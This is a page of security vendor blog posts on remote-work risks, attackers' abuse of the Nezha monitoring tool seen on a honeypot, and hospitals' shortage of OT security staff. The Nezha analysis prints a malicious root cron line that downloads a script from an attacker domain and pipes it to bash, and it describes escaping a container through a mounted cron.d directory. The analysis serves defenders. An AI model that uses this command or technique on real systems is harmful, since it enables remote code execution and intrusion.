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March 18, 2020

5 Security Risks Companies Face Transitioning to Remote Work

Discover 5 security risks companies face with remote work employees. Protect against email scams, weakened security controls, errors, and insider threats.
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Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
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18
Mar 2020

As we all adjust to working remotely, security teams across the world are grappling with a very serious challenge. Almost overnight our companies have changed. Well established procedures are being rewritten, best practices quickly rethought, and policies stretched to breaking point.

Business transformation is always a security risk. New technology and working practices need new security measures; but normally this risk is managed carefully, and over time. COVID-19 has not afforded us that luxury. For some businesses the scale and speed of this change will be unprecedented. It is also very public; attackers are aware of the situation and already exploiting it. Below are some of the most serious threats that security teams will face over the coming weeks.

1. Email scams

Change brings novelty, and novelty brings opportunity for scammers. In the last 48 hours, internal security teams will have been racing to roll out essential remote working tools. Links to download new software, changes to how we authenticate services. When you do not know what to expect, employee training on spotting social engineering goes out the window. Both employees and IT departments should be wary of unexpected calls and requests:

“Hi, I’m calling from IT, can you please read out your 2FA code to me to confirm that you have been transitioned to the new Duo system?”

“Hi, I’ve forgotten my O365 password, can you please email a reset code to my personal Gmail?”

Such requests may be legitimate and may need to be resolved outside normal channels. The onus will be on individuals to be cautious, apply common sense and validate as appropriate.

There will also be ample opportunity for spear phishers to impersonate third-parties and clients:

“Hi John, I need to reschedule our meeting next week to be remote. Please see the link below for an invite to the Zoom call.”

These risks will be exacerbated by the simultaneous relaxing of security controls in order to facilitate the use of non-standard web conferencing software and the sharing of files by email. Attackers will have both the opportunity and the means.

2. Weakened security controls

The weakening of security controls goes far beyond relaxing firewall rules and email policy. Many existing layers of security will not apply to remote workers. Employees suddenly taking their work computer home with them will find themselves stripped of protection as they trade the office network for their home Wi-Fi. Without internet proxy, NAC, IDS and NGFW, client devices will now be sitting exposed on potentially unsecured networks amongst potentially compromised devices. Endpoint security will have to bear the full brunt of protection.

Internal network security may be compromised as well; employees might need access to resources previously only accessible on a wired network in one location. To make it reachable over VPN, internal segmentation might need to be flattened. This will open the door to malware spread and lateral movement. Client certificate authentication protecting web services might need to be turned off to enable BYOD working for employees that don’t have a company laptop.

These changes must be scrupulously logged, and dependencies understood. The extra weight will have to be carried elsewhere: perhaps host AV policies can be tightened to compensate for lack of network protection, perhaps employee devices can be reconfigured to use a secure external DNS provider instead of the on-prem DNS server.

3. Attacks on remote-working infrastructure

Beyond the weakening of existing controls, spinning up new infrastructure will bring fresh risks. In January we saw a spate of attacks on web-facing Citrix infrastructure. Companies will be rapidly deploying VPN gateways, transitioning to Sharepoint and expanding their internet-facing perimeter. This rapidly increased attack surface will need monitoring and protecting. Security teams should be on heightened alert for brute force and server-side attacks. DDoS protection will also become more important than ever; for many companies this will be the first time that a DDoS attack could cripple their business by preventing remote workers from accessing services over the internet. We should expect to see a sharp rise in both of these forms of attack immediately.

4. Errors and creative solutions

“Put it in an S3 bucket.”

“Let’s use join.me instead.”

“I’ll send it to you over WeTransfer.”

Both IT, and individual employees, will face blockers. There won’t be an authorized solution for their needs, and those needs may well be extremely urgent. At a time when businesses are extremely worried about their financial position and ability to operate, there will be pressure to throw caution to the wind and protect ‘business as usual’. This pressure may even come from the top. Security leadership must do the best they can to both push back against rash decisions and provide creative solutions.

Well-meaning employees will get creative, and responsibility will be delegated to team leaders to “do what it takes”. It may be impossible for security to police this centrally but monitoring vigilance will be required to spot risky behavior and non-compliance. This is easier said than done; the SOC will be asked to monitor for incidents in a sea of change. Existing use-cases and rules will not apply, and companies will need a more proactive and dynamic approach to detection and response.

5. Malicious insiders and malicious housemates

Unfortunately, there will be some within our companies that want to kick us while we are down. Sudden remote working is a godsend to malicious insiders. Data can now be easily taken from a company device over USB within the privacy of their own home. Security monitoring may be crippled or disabled entirely. This risk is harder to address. It may not be eliminable, but it can be balanced against the need for productivity and access to data.

We should also be wary of those around us. We all hope we can trust the people we live with. But from a company perspective, employee homes are zero-trust environments. Confidential conversations will now be conducted within range of eavesdroppers. Intellectual property will be visible on screens and monitors in living rooms around the world. This risk is greater for younger demographics likely to be house-sharing, but it remains for all workers; delivery personnel, visitors to the house – they could all potentially steal a company laptop from the kitchen room table. Education of employees in particular risk groups will be key.

Finding direction in a sea of digital change

All of the above changes and risks create a monitoring nightmare for SOCs. We are entering into a period of digital unknown, where change will be the new normal. Data flows and topology will change. New technology and services will be deployed. Logging formats will be different. The SIEM use-cases that took 12 months to develop will need to be scrapped overnight. For the next few weeks, business practice will shift rapidly.

Static defenses and rules will not be able to keep up, no matter how diligently and rapidly we rewrite them. How will you spot a malicious login attempt to O365 in your audit logs now that connections are coming from thousands of different locations around the world? Companies need to leverage technology that can allow them to continue to operate amidst uncertainty without choking productivity at this critical time. More critical still, containing those threats is of paramount importance – it won’t be feasible to entirely quarantine an infected machine if it cannot be re-imaged or replaced for days.

AI systems that can continuously evolve and adapt to change will provide the best chance of detecting misconfigurations, attacks, and risky behavior – when you don’t know what to look for, you need technology that is able to identify patterns and quantify risks for you. Autonomous Response technology can also surgically intervene to halt malicious activity when teams can’t be there to stop it, protecting devices and systems whilst allowing essential operations to continue unaffected.

Evolutions: Meeting the challenge head-on

Confronting these threats will not be easy. It will require a mixture of hard work, creativity, and new technology, alongside an openness to new ways of working and a willingness to embrace dynamic, proactive defense, instead of traditional rigid policies. However, placing trust in defensive systems to autonomously protect employees will be the single most effective way of maintaining resilience and security when our static defenses have failed us.

At Darktrace we are working hard to help our customers get even more value from their Cyber AI platform throughout this difficult time, and ease workloads of busy security teams. We know that with the right tools and technologies – from Autonomous Response and Cyber AI Analyst, through to the Darktrace Mobile App – these teams will be able to navigate these stormy waters. In this unprecedented period of uncertainty, the need for security that evolves in step with your changing digital business has never been greater.

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Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
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June 10, 2026

How Attackers Abuse the Chinese Nezha Monitoring Tool

nezha monitoring toolDefault blog imageDefault blog image

What is Nezha?

Nezha is an open-source tool that allows system administrators to centrally monitor multiple servers, including their resource usage such as CPU and network usage, and uptime. The tool also enables remote administrative access via an interactive shell.

The project has just under 10,000 stars on GitHub and has seen widespread adoption in the Chinese IT community, with many forum posts providing guides on installation and usage.

However, Nezha’s status as a legitimate executable that has remote access capabilities creates an opportunity for misuse. Instead of deploying a regular command-and-control (C2) implant, attackers can deploy Nezha directly on compromised hosts. As these deployments are functionally indistinguishable from legitimate installations, they can blend into expected operational tooling and evade detection.

Darktrace’s analysis of a Nezha infection

Darktrace operates several high-interaction honeypots to observe attacker techniques and behaviors. Darktrace analysts observed an intrusion against the Docker-based honeypot, initiated with a malicious container create command.

 The malicious container create command.
Figure 1: The malicious container create command.

Docker allows any host file or directory to be passed through to a container, granting read and write access. In this case, the attacker made use of this to pass through the cron.d directory, which is used to schedule recurring tasks, such as maintenance or backup commands.

These commands and timings are stored in the cron.d directory, which the attacker can now write to because it is passed through to their malicious container. By writing a job to this directory from within the container, the cron service running on the host detects the new job and executes it on the host, effectively allowing the attacker to escape the container.

The attacker the created a malicious cron job named ngk:
* * * * * root curl hxxps://file.gpu5[.]com/linux_install.sh | bash

This resulted in the host downloading and running the linux_install.sh file with root privileges.

The linux_install script installs several dependencies, sets up environmental variables, and retrieves a second-stage script (nezha_install.sh) from the same domain.

The linux_install script.
Figure 2: The linux_install script.

The nezha_install.sh script based on the official Nezha installer but has been modified to hard code configuration values, such as the server address, and to remove interactive prompts, allowing it to be installed without user input.

Open by design

One of Nezha’s most interesting design choices is that its main monitoring panel does not require authentication to view a list of monitored hosts. This exposes a list of compromised systems via the attacker-controlled panel, enabling direct observation of the operation’s scale, victimology and infrastructure.

The attacker’s Nezha dashboard.
Figure 3: The attacker’s Nezha dashboard.

At the time of analysis, the campaign had infected 141 servers, with 45 still online and accessible.  The number of online servers was previously higher, suggesting that some victims may have discovered and removed the infection.

The exposed dashboard provides insights into victim characteristics, including geographic distribution, hardware specification, and resource usage. Most infected hosts were low-spec systems, commonly one or two core Xeon CPUs and less than 4GB of RAM, indicating they were likely small virtual private servers (VPS) with limited value to the attacker.

Many systems also exhibited 100% CPU usage, which may indicate concurrent compromise, such as cryptocurrency mining activity by other threat actors.

Open-source intelligence platforms such as Shodan and Censys can also identify publicly exposed instances of Nezha. Although authentication is required to execute commands on a monitored server, visibility into dashboards still provides valuable intelligence for attackers and defenders alike.

At the time of writing, Darktrace identified 33 internet-facing Nezha installations as openly accessible.

Key takeaways

The abuse of legitimate software has become a consistent feature of modern intrusion activity, enabling attackers to operate without deploying traditional malware and reducing the risk of detection.

This creates a form of “trust inversion”, where tools typically associated with routine operations may instead indicate malicious activity when deployed outside expected contexts. Organizations should therefore prioritize asset visibility and software governance, ensuring that unexpected tool deployments can be identified and investigated, rather than focusing solely on malware-centric detection.

This challenge is especially pronounced in cloud environments, where legitimate monitoring tools may represent either essential software or an attacker backdoor. The scale and dynamic nature of cloud environments further complicate distinguishing between benign and malicious use.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

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About the author
Nathaniel Bill
Malware Research Engineer

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June 9, 2026

Healthcare’s OT Cybersecurity Gap: Why Hospitals Must Make the Same Security Investments as Regulated Critical Infrastructures

healthcare OTDefault blog imageDefault blog image

Rethinking the healthcare attack surface

When most people think about Operational Technology (OT) cybersecurity, they think about oil & gas pipelines, utilities, manufacturing plants, or power grids. However, hospitals & healthcare systems have quickly become a point of focus in the OT cybersecurity community as they do employ a variety of OT in the form of IoMT (Internet of Medical Things) networked devices such as: infusion pumps, imaging systems, patient monitoring equipment, laboratory systems, and traditional industrial control systems (ICS) in the form of smart building management systems (BMS) and even on site power generation control systems. 

These healthcare environments are no longer just traditional IT ecosystems, they are cyber-physical environments where disruption can directly impact patient care, operational continuity, and ultimately patient safety.

The OT cybersecurity expertise gap in healthcare organizations

Our research in the OT cybersecurity space revealed a concerning trend. Many hospitals and healthcare networks lack dedicated OT cybersecurity teams, OT security full time employees (FTE) and even OT expertise in the form of OT security certifications when compared to other critical infrastructure sectors.

On the other hand, within industries such as energy and manufacturing, we encounter more mature OT security programs that employ full time employees  dedicated to OT cybersecurity with OT security certifications and expertise to secure industrial and operational environments and lead investment in OT security processes and technology.

When reviewing the top 20 U.S. Hospitals by market cap, given what is publicly available on LinkedIn, only one FTE with an OT cybersecurity certification was found. The certifications that were searched for include: GIAC GICSP, GIAC GRID, GIAC GCIP and all ISA/IEC 62443 certifications. When replicating this same search across the top 20 utility providers in the US, 73 FTEs with OT related certifications were identified. As a control group, we looked within financial services, an industry NOT expected to have OT systems worth investing in FTEs to protect. However, the top 20 US financial institutions had 18 FTEs with OT related certifications. 

What these findings reveal

Overall, the findings regarding healthcare investment in OT security FTEs are surprising given how operationally dependent modern healthcare has become on OT. So why aren't hospitals investing in OT security personnel at the rate of peer critical infrastructures? It could just be lack of awareness; however, there are other, more plausible reasons.  

Based on historical trends in cyber incidents within the healthcare space, one could speculate that there is significantly greater likelihood of being victim to an attack that  focuses on extortion or data theft rather than an attack on specific OT systems. The amount of ransomware events incurred in healthcare, that historically do not target OT systems, may divert attention and security investment to the parts of the attack surface most likely to be targeted by ransomware. Additionally, data theft is a relevant threat objective for hospitals given PHI, PCI and PII, and data theft does not traditionally align with attacks targeting OT.  

However, with focused investment to address data theft and with adversaries new capability to string together chains of vulnerabilities of different severity scores using advancements in AI, we could be entering a threat landscape where adversaries pivot their tactics to target exposed and under protected devices and systems like OT. For example, although not a patient records database, predominant IOMT protocols HL7 and DICOM are unencrypted plaintext protocols and unless encrypted it is very simple for adversaries, who are sniffing traffic, to identify protected health information (PHI) in these communication protocols.

Why OT cybersecurity expertise can be effective for healthcare organizations

The convergence of IT, OT, and IoMT is already here, and threat actors are increasingly aware of the operational vulnerabilities that come with it. Additionally, as AI solutions such as agentic or generative applications are adopted and deployed, the attack surface will continue to change as permissions, and new connections will exist to support AI efficiency. From a cybersecurity standpoint, the reality is that many healthcare organizations are still working to establish consistent visibility and governance across their enterprise-connected devices and systems as their attack surface is changing in real time.  As the healthcare sector remains a significant target for cyber-attacks, hospitals would be well advised to begin addressing their operational environments OT as a critical component of their attack surface and invest in securing them first with people, then process and technology. 

What can healthcare organizations do to secure their OT

Including OT in current cybersecurity processes such as red teaming and testing incident response plans that take OT into account alongside building dedicated OT security capabilities including improving OT network visibility, leveraging OT network anomaly detection, micro-segmentation, and secure remote access will become essential steps in strengthening healthcare resilience. 

However, before any of the above processes or investments in technology can be made, these healthcare organizations, like the other critical infrastructure sectors, need to invest in the people with the experience in OT security to lead, implement, manage and audit the investment in OT cybersecurity technology and processes.  In cases where headcount cannot be added, investment in OT security certifications, such as the ones listed in this article, and participation on OT security events focused on practitioner training for existing cybersecurity employees can move the needle in terms of bringing OT expertise to the existing team.  

In an industry where uptime and safety are as mission critical as they are for a power utility, OT cybersecurity FTEs can no longer be viewed as optional for healthcare organizations and must become part of the foundation of modern healthcare cybersecurity strategy. 

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About the author
Daniel Simonds
Director of Operational Technology
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